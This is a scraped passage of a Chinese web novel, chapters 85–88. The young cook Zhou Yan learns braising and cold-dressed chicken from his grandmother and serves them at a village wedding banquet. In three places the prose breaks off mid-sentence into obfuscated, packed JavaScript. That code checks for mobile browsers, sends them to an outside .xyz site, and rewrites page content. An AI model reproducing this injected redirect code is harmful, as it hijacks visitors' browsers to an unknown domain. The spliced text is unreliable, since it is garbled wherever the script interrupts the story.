猪耳朵和猪拱嘴切分出来，猪头肉对切，一步步都做的很细致。 猪脚杆也处理了，单独放在一旁。 老太太一开始还指点几句，后来干脆搬了个凳子，坐在一旁和周砚摆龙门阵，只是眼睛一直瞧着没离开过，不时点点头。 “你跟着肖师傅学过凉菜？”看着周砚把猪头分好，老太太终于忍不住开口问道。 “学过一点，不过我师父说，你的手艺比他好，让我跟你好好学。”周砚笑着说道。 老太太点头：“我看他的手艺也没好撇，教你处理猪脑壳的手法和技巧很有水平。” “二级大厨的嘛。”周砚笑着点头，老太太眼光太毒辣了，只好把师父推出来挡枪。 “奶奶，这牛肉和鸡我没弄过，牛腱子要卤多少时间？我好决定先下哪个。”周砚端正了态度，向老太太认真请教。 卤牛肉和凉拌鸡可都是好菜！ 系统不给，那就向老太太学呗。 周砚已经不是从前的自己，现在他精通刀工，调味和火候也是大有长进，还精通了猪货系列卤味，对于卤味的理解是有一定水平的。 老太太愿意教，他学的一定不会慢。 老太太从怀里摸出一块表放在灶台上，开口道：“牛腱子洗干净后，下锅卤一个半钟头，这是今天要卤的菜里面时间最长的，牛腱子先下锅。猪蹄子卤一个钟头，猪耳朵、猪拱嘴、猪头肉都是四十分钟。 凉拌鸡不太一样，不能直接下锅卤，要另外起一锅卤水，白卤，这样出来的鸡肉才白净，撕开之后，红油一拌，颜色鲜亮，好吃又好看……” 老太太教，周砚做，一样样食材紧扣着时间下锅，基本不犯错，效率极高。 就连素来不爱在做菜方面夸人的老太太，都忍不住夸了周砚两嘴： “你这个基本功硬是不错。” “味道调的很巴适，盐味不多不少，就是这个量。” 外面天色渐亮。 卤锅下的火也渐渐熄灭。 卤好的肉在锅里闷着，静待开席。 卤肉三份靠煮，七分靠焖，得把味道焖进肉里，才算完美。 第六更！ (本章完) 第86章 这卤猪蹄一绝啊！（4k） 周村。 接亲的队伍已经出发。 妇女们围坐在一起洗碗，一边摆着龙门阵。 赵铁英今天穿的很朴素，薄毛衣外边套的是藏蓝色的长罩衣，手上还套着防水袖套，这是干活标配。 但脚上那双新皮鞋，可实在太亮眼了，太阳初升，光落在金属扣上，闪闪发光。 “我听她们摆，周砚给你买的啊？二十多块钱一双，他还是舍得给老娘花钱哦。” “早上我看到四哥脚上也穿了一双皮鞋，那叫一个神气，走路都带风！” “周砚硬是孝顺，昨天把欠的钱全部还清，又给老娘老汉买皮鞋，一点都不用操心。” “铁英啊，我有个表妹的幺女今年十八岁，腰粗屁股大，能干活又能生娃，我看跟周砚般配得很，哪天让他们见面看看嘛。” “我还是有个侄女也刚好十八……” 嬢嬢们语气里透着羡慕，也有人已经开始给周砚物色起婆娘了。 一个月前，周砚还是周村人人摇头的败家子，现在成了周村第一孝子。 这才一天时间，形势完全逆转。 嬢嬢们开始抢着给他介绍婆娘，这姑娘要是嫁进老周家，那可真是有福气啊。 赵嬢嬢心里乐啊，周砚还真是会挑时候，这钱要是晚一天还，都起不到这样的效果。 “周砚还小，找婆娘的事等年底再说也不急，他说要先搞事业。”赵嬢嬢笑盈盈地应着。 她还惦记着夏瑶那丫头呢，长得漂亮，性格又好，说话办事都落落大方，就是不知道这城里的大学生看不看得上周砚这农村小伙。 她也没把话说的太死，要是年底还没个准信，该相亲还是得让周砚去相亲。 她倒也不急，毕竟周沫沫才三岁半，她一点都不急着当奶奶。 带娃不容易啊，都是辛酸泪。 周砚现在变沉稳了，饭店生意也越来越好，找媳妇不是难事，那就得好好选人。 一个好媳妇能让家宅兴旺，夫妻齐心，日子越过越红火。 要是找个背时婆娘回来，搅得鸡犬不宁，那日子就别过了。 …… 郑强一早就被肖磊叫起来干活，昨天一两倒，睡得早，今天倒是生龙活虎，这会正在肖师傅当墩子呢，刷刷切盐菜。 昨天给肖磊打下手，让他对当乡厨这事有了更为深刻的认识。 从蓉城回来之前，他想着不就是做顿坝坝宴嘛，乡下人哪吃过什么好东西，他只要略微出手，炒几个菜，烧几个菜，就让让他们震惊不已。 可当八个临时灶一字排开，三十张桌，三百多份菜要在半个小时内全部上桌，他有点懵了。 和想象中的不太一样啊！ 同样是第一次操持坝坝宴的肖师傅，显得游刃有余。 他在他面前，就像个新兵蛋子。 而且肖师傅实在是太无私了，有问必答，热情到让他都觉得有些不好意思。 毕竟厨师这种东西，是有师门传承的。 都说同行是冤家，旁人多问一句都显得不礼貌。 可昨天做三蒸九扣，肖师傅可是一边做一边给他讲解，一点没藏私。 很多东西他在师父那里学过，可运用在坝坝宴上又是另一回事了，要灵活变通。 “肖师傅，别教了吧，我都不好意思学了。”郑强看着准备教他煮三蒸九扣核心高汤的肖磊，有点难为情。 昨天来的时候，他还觉得这肖师傅是想要从他身上学大饭店厨师的手艺。 现在看来，这个想法实在可笑。 “学嘛，我都不怕教，你还害怕学？”肖磊爽朗笑道，“你要做坝坝宴，这三蒸九扣学不到位，就做不成。我看郑师学的，还是差点点火候。” “要得……”郑强点头，面红耳赤，有种被师父点名批评的感觉，没错，就连神态多个和语气都有八分像。 “那还站着干啥子，过来切菜！” “好！” …… 卤肉泡在卤锅里。 周砚另烧了一锅水，用来煮鸡。 锅里放姜、葱、花椒，加了料酒，加点盐增加底味，大火煮开。 老太太背着手，在旁边说道：“凉拌菜是靠凉拌的时候来调味，水煮这一道主要讲究去腥和控火候，凉拌猪耳朵、凉拌核桃肉都同理，凉拌的味型也是大差不差，一通百通。水烧开了，就开始煮鸡嘛。” 周砚拎着处理好的公鸡爪子，热水下锅烫皮，然后快速提起放入一旁备好的凉水桶里。 早上从井里打起的井水，摸着冰手。 来回三次，冷热交替，三烫三激，鸡皮会变得更有弹性，煮的过程中也不容易破皮。 “凉拌鸡吃啥子？吃的就是一个皮子，拌出来后皮要脆，这凉拌鸡就成功大半，这一步必不可少。”老太太说道。 “要得。”周砚点头应道。 四只鸡用相同的手法处理了一遍，整只放入锅中，小火煮着。 “我们接下来整红油，辣子鸡的灵魂就是红油，这红油你掌握了，以后凉拌啥子菜都用得上。”老太太接着道。 “奶奶，我肯定好好学！”周砚笑着道。 红油的应用在川菜里非常广泛，其实周砚之前就已经掌握了如何制作红油，拌面里边用到的辣子油就是红油。 凉拌菜的红油有什么不同，周砚还是好奇的。 老太太愿意教，他肯定乐意学啊。 老太太打开她的今天早上带出来的包，从里边翻出了一个个油纸袋，里边装着芝麻、胡椒粉等等调料，一边道：“我做凉拌鸡用的辣椒油，用三种辣椒来做……” 按老太太的要求，先把一半的**头、二荆条、石柱红这三种辣椒切段，下锅小火炒到酥脆，出锅用菜刀剁细，保证一定的颗粒感，接着另一半舂成细辣椒面。 锅烧热倒入一盆菜籽油，下入香料和葱姜，中小火把葱姜熬成金黄色捞出丢弃，这一锅油的香味已经很足了。 油温烧到六成热的时候撤掉火，先舀两勺热油浇在芝麻上。 呲！ 芝麻在热油里翻滚，香气四溢，芝麻油就成了。 待到锅里的油温下降些许，再舀一勺油到剁碎的中粗辣椒面中，在滋滋声中，用筷子快速搅散，分多次浇入热油，既要充分激发出辣椒的香味，又要防止温度过高导致辣椒面糊掉。 这是个技术活，周砚谨慎又不失果断，动作非常麻利，保证不错失这恰到好处的油温。 最后下入细辣椒面搅拌，芝麻油充分搅拌均匀，再把锅里剩下的油一勺一勺舀入盆中，辣椒面在油里冒起泡泡，香辣味与芝麻的香味混合扑鼻而来。 【一份优质的红油】 鉴定很快给出了锐评。 “可以，你会做红油的嘛。”老太太眼中满是欣慰。 周砚笑着道：“跟师父学过基本的红油做法，但确实没奶奶你教的这个香。” 把菜籽油煎炸一道香料和葱姜，做法比起他原先的更麻烦一些，但做出来的辣子油确实香味更加浓郁。 增加的成本是有限的，但提升的香味能给顾客带来更好的体验。 周砚已经开始琢磨试试用这个辣椒油来拌面，风味会不会更好一些。 红油做好，鸡也煮的差不多了，退了火，盖着盖子再焖十分钟，这样鸡皮不容易煮破，鸡肉也能保持口感。 老太太把凉拌鸡的调料配方和周砚说了一遍。 周砚拿着小本本记录下来，等会还有机会看老太太亲手拌，拿着配方，至少能学个七八成。 这可是老周家年夜饭的抢手菜，一只大土鸡，上桌手慢无。 三十桌的宴席，凉菜的工作量不小，这一忙活就是一上午。 九点钟，卤锅里的肉已经陆续被捞了出来，晾在两个竹篮子里，猪耳朵、猪拱嘴、猪头肉都染上了红亮的色泽，看起来极其诱人。 三只卤猪蹄尤为显眼，单独装在小篮子里。 为什么是三只？ 因为其中一只周砚和老太太分了正吃着呢。 卤猪蹄从卤锅里捞出，还是温热的，从中间对半劈开，直接拿手抓着啃。 肉皮一抿就脱骨，骨肉间的筋咬起来软软糯糯的，QQ弹弹，口感绝佳，泡了一个小时，卤汁已经完全浸透，一口下去，简直香迷糊了，根本停不下来。 吃完半只猪蹄，意犹未尽，感觉嘴巴都黏住了。 这就是老辈子常说的巴嘴皮。 好吃！爱吃！还想吃！ 就是可惜如此美味的卤猪蹄，客人们无福消受。 没办法，一只猪只有四只猪蹄，各家杀了猪，都是往老太太那送的。 老太太爱吃猪蹄，也擅长卤猪蹄，要是谁能得半只猪蹄赏赐，心里能美上半个月。 周砚今天是因为他动的手，所以才得了老太太的赏，能吃上半只。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16200204|181213||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 这两年，都是周沫沫才能吃得上。 老太太对于小孙女的偏宠，可见一斑。 这半只猪蹄下肚，忙碌了一个早上的身心都得到了极大的满足。 太香了！ 明天他自己去买几只猪蹄回来卤。 他一定要吃一整只的猪蹄，一口都不给别人分！ 周沫沫来了都不行！ 老太太不紧不慢地把猪蹄啃完，盘子里多了几根光秃秃的骨头，连筋膜都没剩一点，这才点头道：“不错，跟我卤的差不多。” “那还是差远了，要达到您这手艺，我还得练十年。”周砚笑着应道。 能得到老太太的认可，他这卤味算是小有成了。 洗了手，周砚开始把东西往背篼里装，猪蹄垫了肚子，得把卤味和凉菜运过去，开始切肉装盘，为中午的宴席做准备了。 四只公鸡煮过之后缩水明显，淡黄色的鸡皮看起来非常紧实。 好在这鸡养的足够肥，熟肉还有四斤多，切好一拌，一盘能有半斤肉，分量不算少。 四只鸡要用多少调料，老太太提前给他算好，干料混一包，红油拿罐子单独装，其他葱姜这些配料早上让赵嬢嬢那边备着了。 油纸上边垫一块纱布，再把肉装进背篼，最后上边再盖一块纱布，盖一张油纸，这样运输干净又卫生。 挂上锁，周砚载着则老太太不紧不慢地往周村方向骑去。 有老太太把关，时间把控的十分合适。 到周村，刚好十点钟。 周砚把车停下，赵嬢嬢便快步走来，先把老太太从车上扶下来，小声问道：“能行不？” “包行的。”周砚笑着点头。 赵嬢嬢揭开纱布，瞧见那色泽红亮的猪耳朵和猪头肉，悬着的心立马就放下了，这和老太太亲手做的看不出一点区别来。 卤香扑鼻而来，忙活了一早上的赵嬢嬢吞了吞口水。 “你做的？”赵嬢嬢忍不住问道。 “嗯，老太太指点，我动的手。”周砚点头：“我已经学会了，明天咱们就开卖。” “啊？这么快？你……不多练两回吗？”赵嬢嬢有些吃惊，这决定也太仓促了。 周砚略一思索道：“那等会看宾客反馈吧，要是大家觉得好，咱们就卖。” “这靠谱。”赵嬢嬢点头，心头也是不由期待起来。 老太太的卤味当年苏稽一绝，这么多年都还有人念叨着。 周砚要能学会，一天光是卖卤味估计都能增加不少收入。 “喔唷！这卤猪耳朵和卤猪头肉可真漂亮！是周砚卤的吗？” “这颜色可真诱人，瞧着就好吃！” 帮工的嬢嬢们围了过来，看着赵铁英从背篼里提出来的卤味，啧啧称赞。 “对，我家周砚卤的，跟老娘学的手艺。”赵嬢嬢笑着应道。 “跟老太太学的？”众人纷纷看向了老太太。 “对，跟我学的，今天是周砚卤的。”老太太大大方方承认，直接给周砚站台。 “那我们今天有口福哦！以前要过年才能吃到张嬢嬢做的卤味。” 嬢嬢们笑着说道，看着卤味眼里都在放光。 张老太的卤味，周村人谁不馋啊。 不知周砚学了几分，以后卖不卖？ 切菜区已经空出，周砚把卤肉和鸡抬过去，准备开工。 旁边那口锅里烧着热油，郑强站在锅前正小心翼翼的把腌好的鲤鱼一条条下入油锅，油锅滋滋响，热油飞溅。 郑强神态凝重，浑然不管，这是他今天唯一主导的一道菜，他必须要拿出十二分的本事，让在场的宾客尝尝蓉城餐厅的真正水平。 周砚瞧了两眼，想看看这蓉城餐厅的大厨是怎么做红烧鱼的。 “想学？”肖磊不知何时逛过来了，看着郑强道：“他做鱼，还是学到他师父几分真本事的。” “他师父？”周砚疑惑看向肖磊，“师父，你认识郑师傅他师父啊？” “我师兄，你说认不认识？”肖磊笑了笑：“上个月他还给我写信，让我去蓉城餐厅上班呢。” 周砚：？ 那你还一口一个郑师的喊人家？ 郑师知道了，得往哪条地缝钻啊？ 可怜的郑师傅啊…… 4k大章！ 晚上还会有一更！ 求月票~~ (本章完) 第87章 开席了！ 周砚不禁感叹郑师傅的离奇境遇，吃个席被拉来当乡厨也就算了，竞争对手竟是自己师叔？ 而且这师叔还也有点皮，明明认出来了也不说，一口一个郑师的哄着你当墩子。 终于找到机会要拿出自己的拿手好菜，势必要让眼前这个乡下厨子长长见识。 却不知他的拿手绝活，人家二十年前就炉火纯青了。 这算什么事呢？ 周砚反正觉得挺惨的。 郑师忙着做红烧鱼，周砚要开始切耳片和猪头肉，现在全场最闲的是等着十一点烧锅，把锅里的蒸菜复蒸一个小时，然后直接上菜开席的肖师傅。 周砚笑眯眯地看着肖磊：“师父，这猪头肉要切的薄厚均匀，吃起来才得劲，村里的嬢嬢们刀工差了点意思，而你当初可是厂食堂第一刀，这么重要的任务……” “师父的脑壳你也敢洗啊？”肖磊盯着他笑。 “我真心的。”周砚一脸无辜，拿起菜刀抓过一只耳朵，叹了口气，“蒜鸟蒜鸟，我自己切嘛，反正也就是几十盘而已。” 周砚的菜刀刷刷落下，砧板上立马堆起薄薄的耳片，随便拈起一片能透光的那种。 耳片浸透了卤汁，颜色红亮，又有白色的软骨镶嵌其上，犹如花纹一般，十分漂亮。 耳片要切得薄，对刀工的要求颇高。 特别是凉拌耳片，越薄越入味，口感越绝妙。 猪头肉又不太一样，得有一点厚度，才能嚼出卤香浸透的醇厚肉香，就是要切的薄厚均匀。 世上还是好师傅多啊。 肖磊在旁边看周砚切了会耳片，点了点脑袋，回去拿了自己的菜刀，开始帮着切猪头肉。 “还是有师父好啊。”周砚转头看他，大为感动。 “切你的，小心手指。”肖磊白了他一眼，刷刷切猪头肉，一片片薄厚均匀的猪头肉落在砧板上，是喝酒的人最爱的厚度，速度比周砚还要快不少。 拿了菜刀准备帮忙的赵嬢嬢，又默默把菜刀收了回去。 老太太背着手站旁边瞧着，看到肖磊的刀工也是不由点头。 难怪周砚的刀工扎实，这个师父的刀工真不赖，不愧是孔师傅的徒弟。 师徒俩负责切，嬢嬢们就负责摆盘。 猪拱嘴不够单独成盘，和猪头肉拼盘，每盘只装十几片，不多时就把一个台子摆满了。 盘子一角舀一勺调配好的辣椒面，爱吃辣的也能自己蘸。 切完猪头肉，肖磊就提着刀回去指挥帮工起锅烧火，做开餐前的准备，周砚顺便把牛腱子给切了。 郑强这边刚把三十条鱼炸好，正在切配料，一条条炸的金黄的鲤鱼，摆在木桶里，鱼皮完整，一点没破。 基本功确实扎实，难怪师父会逗着他玩。 周砚伸长着脖子认真瞧着，把几样配菜全记在心里。 酸菜、豇豆、泡椒、炮姜、豆瓣……看着跟他做的藿香鲫鱼有点像，应该是酸辣风味的。 刚刚不好意思看，那是因为偷师让人不齿。 现在不一样了，这是他师兄，他看也是应该的。 突然外头传来隐约的锣鼓和唢呐声，然后就有人惊喜叫道：“来了！新娘子接回来了！” 村道上出现了一条长队，周浩穿着军装，推着自行车走在最前边，新娘子穿着一身红衣红裤，头上还戴着一个红色发饰，坐在车上，笑靥如花，看起来相当喜庆。 后边是抬着梳妆柜，扛着木箱子，抱着喜被的迎亲队伍，还有女方来吃席的亲朋好友，排场了一条长龙，浩浩荡荡的走来。 院里闲聊的、坝坝上帮工的，还有村里其他人家，一下子哗啦啦全跑到路上来看热闹了。 接新娘，就是这个时代最好看的热闹。 村里的小孩们迎着接亲队伍跑去，一个比一个跑的欢。 只要说两句吉祥话就能有糖吃的好日子，可不是天天都有的。 噼里啪啦！ 门口的八百响鞭炮被点了，大家纷纷捂住了耳朵，每个人的脸上都带着笑。 鞭炮响完，立马有一群小男孩冲上去翻找，试图找到几个没响的火炮。 “老陈家有点讲究哦！那么多陪嫁。” “陈家有钱，儿子在供销社上班，新娘又在镇上小学当老师，周浩也是有福气的，娶了个好婆娘。” “周浩也不差撒，我听说他现在都是排长了，当官咯！” 村里人议论纷纷，有羡慕的，也有带着几分酸味的。 周砚看得兴致勃勃，这个时代的婚礼他还是第一回见，新娘不高，微胖，脸蛋圆圆的，笑起来很有亲和力，红色衣服衬的人很有朝气和活力。 看得出来老陈家的实力，这年代要想把人养出肉来可不容易，和老周家门当户对。 唢呐吹的百鸟朝凤，老师傅还是有两把刷子，吹的真不错。 “莫要看了，抓紧整凉拌鸡，凉菜是要先上桌的。”老太太咳了一声，把周砚的思绪拉了回来。 “要得！” 周砚闻言也不敢耽搁了，从篮子里拎出一只鸡，看着老太太道：“怎么切？” “看着。”老太太从他手里接过刀，先一刀把脖子斩了下来，鸡脑袋一划一磕，立马从中间劈成了两半，咔咔几下连同鸡脖剁成块。 菜刀一转，鸡腿、鸡翅就被切下来了，切成条，然后再斩一刀改成硬币大小的块状，每一块上边基本都有鸡皮连着。 一会功夫，这头肥硕的公鸡，就变成了搪瓷盆里的一盆鸡块。 “坝坝宴吃的人多，鸡肉宰小块点，大家能多拈几块，都能尝到味道，也能多下两杯酒。”老太太拿出先前在饭店调好的调料包，开始调料汁。 盐、味精、花椒粉、白糖用姜蒜水化开，再加入一勺醋，倒出四分之一淋入鸡块上，用勺翻转均匀。 “凉拌鸡要入味，先调味，花椒油和红油最后放，不然油把肉一封，味道就进不去，浮于表面，跟蘸碟差不多意思，嚼起来不香。”老太太一边说着，一边打开红油罐子，静置了一个小时，红油颜色已经变得清亮，用勺子舀了一勺浇在鸡肉上，红亮的颜色看着相当有食欲。 一盆鸡肉，加四勺。 老太太一手抓着搪瓷盆，一手握着勺，顺着边边一边颠盆，一边搅合，让每块鸡肉都裹上红油和芝麻，油亮油亮的，看着可太有食欲了！ 充分搅拌均匀后，直接开始装盘，一盆鸡肉装八盘，白色盘子里，鸡块裹满了红油，点点芝麻粒点缀其上，鲜艳欲滴，香气扑鼻。 把盆里的红油和汤汁全部倒干净，用勺子浇在凉拌鸡上，再抓一小把葱花撒在上边，这份凉拌鸡就算完成了。 这一套动作行云流水，看得周砚目瞪口呆。 【一份相当不错的凉拌鸡】 周砚的眼底闪过一行备注。 他奶宝刀未老啊！ 七十五岁，正是闯的年纪！ “来嘛，你照着做就行了。”老太太往旁边退了一步，看着周砚说道。 周砚也不磨蹭，从篮子里又提了一只鸡出来，按照先前老太太的做法开始剁鸡块。 一只整鸡，很快被剁成了一盆鸡块，料汁老太太已经调好了，周砚倒三分之一入盆，学着她的搅拌技巧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16200205|181213||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一边颠盆一边顺着调和。 一开始不太习惯，但掌握了节奏和技巧后，发现这样搅合鸡肉不容易散，料汁也能更充分的搅拌均匀。 下入红油，颜色一下就鲜亮起来了。 周砚眼里亮起了光，还真是这么一回事！ 老太太真是一个好师父，她教的东西，总是简单直接，没那么多条框，充满了市井智慧。 【一份不错的凉拌鸡】 周砚装盘，面板也给出了锐评。 周砚：？ “相当”呢？ 一锅煮出来的鸡，一样的红油和调料，连搅拌手法都是一样的，怎么就给出了两种评价？ 周砚相当气愤，但没有办法。 “可以，就是这样拌。”老太太笑着点点头，对周砚的手法颇为满意。 “奶奶！奶奶！新人敬茶了，请你去坐主位！”周杰心急火燎地跑了出来，看到台上摆的凉拌鸡和卤猪耳朵、卤猪头肉不由吞了吞口水，惊道：“周砚，你做的啊？” “没得错，就是我。”周砚点头。 “厉害啊！”周杰惊叹道。 “走嘛。”老太太整理了一下自己的衣服，背着手往院门走去。 周杰连忙快步跟上。 周砚如法炮制，把剩下两只鸡也给剁了，拌好装盘。 凉拌鸡要入味才好吃，这会拌好了，等开席的时候正是风味最佳的时候。 至此，周砚承担的四道凉菜，就算是全部完工了，他松了口气。 赵嬢嬢站在旁边，看着台子上堆砌的一百多份凉菜，也松了口气。 周砚做菜，她比他还紧张，这种场合要是搞砸了，可不好交代。好在周砚靠谱，凉拌鸡和卤菜看着都很有卖相，谁路过都忍不住多看两眼。 十一点半，客人们陆陆续续来了，在门口把红包登记在册后，主家便给安排落座。 每桌上一盘瓜子，先磕着瓜子摆龙门阵，坝坝上一下就热闹起来了。 肖磊守着层层迭迭的蒸笼，热气升腾，肉香四溢。 郑强已经让人把三口锅烧热，开始准备烧鱼。 今日的宾客，以双方亲友为主，不过在院里单独摆了一桌，招待县里和镇上的领导。 老周家两块一等功臣牌匾，领导常来探望慰问，一来二去也都熟了。 如今周卫国当了镇党委委员，周浩又是排长，不管是留队还是复原，有这家庭背景，前途都是很光明的。 所以请帖递出，领导们今天都抽空来吃席。 老太太坐主位，周卫国在旁边作陪，然后是民政局副主任孙彦和副镇长黄琛，还有四位镇上的公务员。 众人落了座，先向老太太问好。 老太太青年成了烈士遗孀，一手养大了五个儿子，小儿子周卫国又在战场上受了重伤退伍，还有两个孙子参军。 说是满门忠烈也不为过。 众人敬她，佩服她一个女人，能养出这样的儿孙来。 众人寒暄了几句，气氛倒也融洽。 “今天这坝坝宴我瞧有三位厨师，排场不小啊。”孙彦笑着道。 “是啊，看着有模有样的，不像乡厨。”黄琛也点头道。 老太太笑着解释道：“本来是只有一位乡厨的，结果昨天突然有事做不了，临时又去请了两位大厨来，那做凉菜的是我的小孙儿周砚，也是被拉来救火的。” “上菜咯！” 说话间，帮厨端着托盘进来，先上了四份凉菜。 众人定眼瞧去，眼睛皆是一亮！ 求月票！！！ (本章完) 第88章 郑师这水平硬是又高又硬！（求月票！ 先上凉菜，这是坝坝宴的传统。 不过今天这凉菜看着可真不错。 卤猪耳朵切的极薄，堆在盘子里显得分量不少，有几片从耳片堆里翘起的，都能透过光。 卤汁浸透后的颜色太漂亮了，宛若红亮的琥珀，中间的软骨如花纹点缀其上，看起来颇有美感。 一般坝坝宴可见不到切的那么薄的耳片，乡厨忙着做三蒸九扣，凉菜都是交给帮厨的嬢嬢们来切的，能切的均匀就算不错了。 今天这凉菜师傅的刀工太好了。 卤猪头肉切的要比耳片更厚一点，肥中带瘦，同样被卤汁浸透，红亮的色泽极为诱人，泛着油光，还没尝就已经忍不住想象那油润的口感了。 卤牛腱子的筋膜如琥珀般斑斓，看起来同样诱人。 最后一份凉拌鸡，尤为吸睛。 每一块鸡块都裹满了鲜亮的红油，点缀着颗颗芝麻，红油的香辣气味已经飘散而来，让人忍不住吞了吞口水。 凉拌鸡在有些地方又被称为口水鸡，就是因为卖相实在太诱人了，看着就让人口舌生津。 他们这些领导，平时家里伙食就好，又没少参加坝坝宴。 九大碗在他们眼里不稀奇，乡厨的手艺大差不差，吃多了反而觉得油腻。 凉菜倒是各家都不同，今天这三道，看着就不错。 “这卤菜和凉拌鸡，看着可真不赖。”副主任孙彦笑着道：“周砚这手艺，跟老太太学的吧？” “看卖相是学到精髓了的。”黄琛也是笑道。 逢年过节来探望，老太太有时候会留他们吃午饭。 要换别家，他们可能就拒绝了，但老太做的卤味和凉拌菜实在太好吃，一般自己单独再提一包冰糖，厚着脸皮也要吃一顿。 别说苏稽了，就算是嘉州都找不到那么好吃的卤味和凉拌鸡。 就是一年才能吃上一两回，有时想起那叫一个抓心挠肝的馋啊。 老太太笑着点头：“是跟我学的，他干个体户，在纺织厂门口开了个饭店，我这手艺他也学了个七七八八了。” “那可太好了。”众人闻言皆眼睛一亮。 “好不好，得尝了才知道。”老太太笑着道：“别客气，菜都上了，动筷吧。” 客随主便，老太太都开口了，众人也就不客气了。 孙彦先夹了一片耳片，没有蘸辣椒面，直接喂到嘴里。 卤香浸透的耳片，软糯中带点脆骨弹牙的口感，卤香在齿间绽放，越嚼越香，口感绝妙。 对！ 就是这个味道！ 和老太太做的简直一模一样，尝不出任何区别。 咽下之后，唇齿留香，是那种悠长的卤香，让人回味无穷。 孙彦端起酒杯抿了一口，然后发出了一声满足的长叹：“好啊，这卤猪耳朵可真是一道下酒好菜！” 另一边，黄琛尝了一块卤猪头肉。 一分皮、六分肥，三分瘦的猪头肉，咬下去是油润软糯的口感，些许厚度带来的肉感和猪头肉可太搭了。 卤汁与油水交织，肥而不腻，软而不烂，嚼起来太香了！ 猪头肉处理不好，气味重且油腻。 而眼前这一份，简直是卤猪头肉里的天花板啊！ 卤的风味与切的厚度相得益彰，缺一不可。 黄琛也抿了一口酒，赞叹道：“这卤猪头肉也好吃，周砚这水平，已经有老太太**分水平了。下回再馋这卤味啊，可以去他店里吃了。” 这可真是好事啊！ 其他人动筷尝了，同样交口称赞。 孙彦看着周卫国带着几分羡慕道：“卫国，你可真有口福。” 周卫国微笑点头：“周砚的厨艺确实不错，学东西也快。” 他刚刚尝了一口卤猪头肉，其实心头也有点惊讶，这才几天啊？周砚怎么就学会了？ 做出来的卤味味道和老太太做的还有些许差距，但已经是极好的。 “我再来尝尝这凉拌鸡，上回吃老太太做的凉拌鸡还是前年，后来再吃别人做的凉拌鸡，总觉得差点意思。”孙彦从碗里夹了一块带皮的鸡肉。 红油均匀的裹满鸡肉，渗进骨缝，芝麻粒随着鸡肉晃晃悠悠，还没入口，花椒油的麻香和红油的焦香已经钻进鼻腔。 鸡肉送进嘴一嚼。 哦！ 这鸡皮好脆！嚼起来甚至听到声音。 鸡肉嫩而不柴，嚼起来有嚼劲，芝麻粒在咀嚼中不停爆开，鲜香入味，连骨头嚼起来都是鲜辣有味的。 麻、辣、甜、咸、酸、鲜、香，七味兼备！ 各种味道平衡和谐，厚重的层次感，鲜香适口，吃起来可太有滋味了。 有些凉菜师傅做的凉拌鸡，只讲究摆盘，味道浮于表面，初入口挺香，越嚼越没滋味。 但这鸡肉味道已经渗进了鸡肉，越嚼越香。 “绝了绝了！这个凉拌鸡真是巴适惨了！五味调和，不摆咯！”孙彦赞叹道，完全被征服。 其他人闻言，哪里还能忍得住，也是纷纷动筷夹凉拌鸡尝鲜。 “确实好吃！比国营饭店的还要巴适！” “火候把控的真好！鸡皮脆，肉嫩又有嚼劲，不是耙软的那种！” “这红油好香哦！拿来拌面绝对好吃！” 大家都赞不绝口，频频举杯，气氛一下子就热络起来了。 “卫国，周砚那饭店叫啥名？”黄琛开口询问道。 他周一到周六都在镇上宿舍住着，骑车去纺织厂吃个饭还是挺方便的，十分钟就到。 其他人闻言也是纷纷看向周卫国。 就这四道凉菜，也值得去尝尝。 平时要是家里来客人，把这四个菜打包回去，再随便炒两个菜，客人吃了包满意的。 有些客人适合请家里吃家宴，是有这个需求的。 “就纺织厂正门口，周二娃饭店。”周卫国应道。 “行，改天去尝尝。” …… 这年代还没那么多繁复的婚礼仪式，新郎新娘进门的时候敬了改口茶，婚宴上了菜，筷子就给大家发了。 二伯周泽给坝坝上坐着的客人们敬酒，还不忘给周砚打个广告：“这凉菜是我们家周砚卤的、拌的哈，要是尝到味道好，下回去他店里吃嘛。他饭店就开在纺织厂门口，纺织厂的工人都爱吃，生意好得很。” 客人们对这凉菜本就赞不绝口，听完自然积极响应。 张老太卤味做得好，大家是知道的，得周家办席的时候才有机会吃上，那叫一个稀奇。 这下周砚学了老太太的本事，还开了饭店，以后想吃可不就容易多了。 “老汉，就是这个味道，一点都不差！以后每个星期我都弄一份回家下酒，巴适得很！” “要得！以后我们一人终于可以多吃几片了。” 周宏伟看着小声密谋的老汉和爷爷，觉得有点好笑，快速夹了一片耳片喂嘴里。 好吃！确实好吃啊！ 周砚来真的啊？ 竟然把张祖祖的卤味给学到手了。 瞧那爷俩，都快感动哭了。 众人吃着，热菜也陆续上来了。 镶碗、咸烧白、夹沙肉、粉蒸肉、扣鸡、珍珠丸子、东坡肘子，猪肚汤这就是八大碗了。 还有一条红烧鲤鱼跟着上桌。 九大碗，配四个凉菜。 这一大桌子肉菜，色香味俱全，看着就顶！ 这卖相，可比一般乡厨做的好太多。 菜都上桌了，厨师和帮厨也都闲下来了。 周砚看着肖磊和满头大汗的郑强，笑着道：“我们三个真厉害。” 肖磊和郑强闻言也笑了，第一次操办坝坝宴，目前来看还是不错的。 “大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 